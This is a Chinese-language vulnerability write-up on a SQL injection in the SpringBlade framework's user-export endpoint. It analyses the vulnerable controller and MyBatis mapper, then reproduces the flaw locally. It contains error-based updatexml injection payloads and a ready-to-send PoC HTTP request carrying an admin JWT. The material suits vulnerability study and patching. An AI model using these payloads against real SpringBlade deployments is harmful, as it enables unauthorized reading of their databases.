漏洞描述
SpringBlade是一個基于Spring Cloud和Spring Boot的開發框架,旨在簡化和加速微服務架構的開發過程。它提供了一系列開箱即用的功能和組件,幫助開發人員快速構建高效可靠的微服務應用。該產品/api/blade-user/export-user接口存在SQL注入。
漏洞影響版本
SpringBlade <= v3.2.0
產品項目地址
SpringBlade: SpringBlade 是一個由商業級項目升級優化而來的微服務架構,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技術構建,完全遵循阿里巴巴編碼規范。提供基于React和Vue的兩個前端框架用于快速搭建企業級的SaaS多租戶微服務平臺。https://gitee.com/smallc/SpringBlade
項目源碼下載
SpringBlade 發行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases
漏洞分析
位于包package org.springblade.modules.system.controller;下的UserController
其中有方法 exportUser
該方法引用了QueryWrapper做為sql的查詢條件,其中Map<String, Object> user是我們可控的參數
QueryWrapper使得sql語句變成如下這樣的形式
SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0
sql語句中where后面的數據 是我們可控的,如此我們嘗試構造如下sql語句
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1; SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1); SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);
先在本地測試一下
payload可以造成sql注入
?補充! 這里還要考慮到底層的sql語句是否采用了預編譯機制
找尋MyBatis 的 XML 映射文件?exportUser方法
上面的是定義的接口下方是使用xml對接口的實現?。系統采用的${}的方式,這不是預編譯的機制,可以造成sql注入
漏洞環境搭建
{本次踩的坑有點多,不想細說了}
本地項目前后端分離,下載下面鏈接的前后端項目
項目源碼下載
SpringBlade 發行版 - Gitee.comhttps://gitee.com/smallc/SpringBlade/releases
后端 配置好mysql redis 直接啟動
前端 在項目中執行兩條命令直接啟動
npm install //下載前端所需包
npm start // 啟動前端項目
項目搭建有問題的,可以看官方參考文檔
Wiki - Gitee.comhttps://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C
漏洞復現
打開環境web 登錄頁面
在用戶管理頁面選擇導出數據
burp抓包 增加sql注入payload
sql語句成功執行,漏洞復現成功。
附贈poc
GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host: 192.168.116.128:1888
注意:blade-auth是必要的 ,本次測試時只要admin登錄情況下這串blade-auth就是可用的 貌似生成不夠隨機,這也算是另一個漏洞了。